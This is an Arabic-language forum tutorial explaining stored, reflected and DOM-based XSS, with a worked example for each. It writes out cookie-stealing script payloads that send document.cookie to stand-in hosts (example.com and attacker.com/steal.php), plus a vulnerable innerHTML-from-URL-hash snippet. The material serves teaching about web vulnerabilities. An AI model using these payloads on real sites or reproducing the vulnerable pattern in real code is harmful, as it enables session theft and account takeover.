x32x01
  • بواسطة x32x01 ||
أنواع هجمات XSS مع ذكر مثال عملي على كل نوع
1️⃣ Stored XSS
2️⃣ Reflective XSS
3️⃣ DOM-based XSS

1️⃣ الـ Stored XSS
هو نوع من هجمات Cross-Site Scripting (XSS) حيث يتم حقن الشيفرة الخبيثة في التطبيق أو قاعدة البيانات، ويتم عرضها للمستخدم عند استرجاع البيانات من المصدر المخترق،هناك العديد من الأمثلة العملية لهجمات Stored XSS، ولكن سأقوم بتوضيح مثال واحد هنا.
فرض أن لدينا تطبيق ويب يسمح للمستخدمين بإضافة تعليقات على صفحات المستخدمين الأخرى. لنقل أن لدينا صفحة مستخدم تعرض معلومات المستخدم بما في ذلك اسم المستخدم ونص تعليقاته.
للقيام ب Stored XSS، يقوم المهاجم بإدخال شيفرة JavaScript خبيثة في مربع التعليقات. على سبيل المثال، قد يدخل التالي في حقل التعليق:
Code:
```html
<script>
alert('مرحبًا بكم في موقع الهجمات الأمنية المشابهة!');
window.location.href = 'https://example.com/steal-cookies?cookie=' + document.cookie;
</script>
```
عندما يتم حفظ التعليق في قاعدة البيانات، يتم تخزين الشيفرة الخبيثة في البيانات. عندما يتصفح أحد المستخدمين الصفحة المستهدفة، ستتم طباعة الشيفرة الخبيثة في الصفحة وسيُعرض الرسالة المنبثقة "مرحبًا بكم في موقع الهجمات الأمنية المشابهة!" على المستخدم، بالإضافة إلى ذلك، سيتم توجيه المستخدم إلى صفحة أخرى تحتوي على المعلومات المسروقة مثل ملفات تعريف الارتباط (cookies) في الرابط المُخترق.
هذا مثال بسيط يوضح كيف يمكن للمهاجم استغلال Stored XSS لتشغيل شيفرة خبيثة على جهاز المستخدم المتضرر وسرقة بياناته، مثل معلومات المستخدم أو ملفات تعريف الارتباط.

2️⃣ مثال عملي على Reflective XSS :
تفترض أن هناك صفحة ويب مثلاً تدعى
Code:
http://example.com/vulnerable.php
تقوم بتلقي معلومات من المستخدم وتقوم بعرضها في الصفحة بدون فلترة أو تحقق من البيانات المدخلة.
في هذه الحالة، يمكن لهجوم XSS التنفيذ بطرق مختلفة، واحدة من هذه الطرق هي استغلال ثغرة Reflective XSS.
فلنفترض أن هناك شخصًا يستغل ثغرة الـ XSS لإدخال الكود التالي كجزء من بيانات المدخلات على صفحة
Code:
http://example.com/vulnerable.php
Code:
<script>
// هنا يتم استدعاء دالة JavaScript لسرقة معرّفات الجلسة
var stolenData = document.cookie;
// هنا يتم إرسال المعلومات المسروقة إلى المهاجم عبر صفحة أخرى
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/steal.php?data=" + stolenData, true);
xhr.send();
</script>
عندما يتم عرض الصفحة
Code:
http://example.com/vulnerable.php
للمستخدمين، ستتم تنفيذ كود الـ XSS المدخل من قبل المهاجم، وسيقوم الكود بسرقة معرّفات الجلسة وإرسالها إلى صفحة أخرى في المهاجم على
Code:
http://attacker.com/steal.php
المهاجم يمكنه استخدام هذه المعرّفات للتنكّر كمستخدم موثوق به والوصول إلى معلوماته الخاصة أو تنفيذ إجراءات ضارة.

3️⃣ الـ DOM-based XSS هي نوع من هجمات XSS (Cross-Site Scripting) حيث يتم استغلال الثغرات في نموذج الكائنات في المستند (DOM) لتنفيذ سكريبتات خبيثة في العميل (المتصفح) بدلاً من الخادم.
هذا مثال عملي على DOM-based XSS، فلنفترض لدينا صفحة ويب تقوم بعرض إدخال المستخدم داخل عنصر HTML معين، دون معالجة أو فلترة الإدخال بشكل صحيح. سنفترض أن لدينا صفحة HTML بها العنصر التالي:
Code:
```html
<div id="username"></div>
```
وقد يتم تحميل قيمة المستخدم داخل هذا العنصر باستخدام جافا سكريبت كما يلي:
Code:
```javascript
var username = window.location.hash.substring(1);
document.getElementById('username').innerHTML = username;
```
في حالة هجمات DOM-based XSS، إذا قام هجاج بإدخال قيمة سكريبت خبيثة بدلاً من الإدخال العادي مثل اسم المستخدم، يمكن للمهاجم تنفيذ السكريبت الخبيث في المتصفح لأي ضحية تقوم بزيارة الصفحة. على سبيل المثال، إذا أدخل المهاجم القيمة التالية في عنوان URL:
Code:
```
#<script>alert('XSS Attack')</script>
```
فإن السكريبت الخبيث سيتم تنفيذه في جانب العميل للضحية عند تحميل الصفحة، معرضًا الضحية للهجمة.
 

المشاركات المتشابهة

x32x01
الردود
0
المشاهدات
15
x32x01
x32x01
x32x01
الردود
0
المشاهدات
9
x32x01
x32x01
x32x01
الردود
0
المشاهدات
11
x32x01
x32x01
x32x01
الردود
0
المشاهدات
93
x32x01
x32x01
x32x01
  • x32x01
الردود
0
المشاهدات
11
x32x01
x32x01
الوسوم : الوسوم
dom-based xss reflective xss stored xss

الدخول أو التسجيل السريع

نسيت كلمة مرورك؟

آخر المشاركات

أحدث المنتجات

إحصائيات المنتدى

المواضيع
1,600
المشاركات
1,787
أعضاء أكتب كود
193
أخر عضو
HAa
عودة
أعلى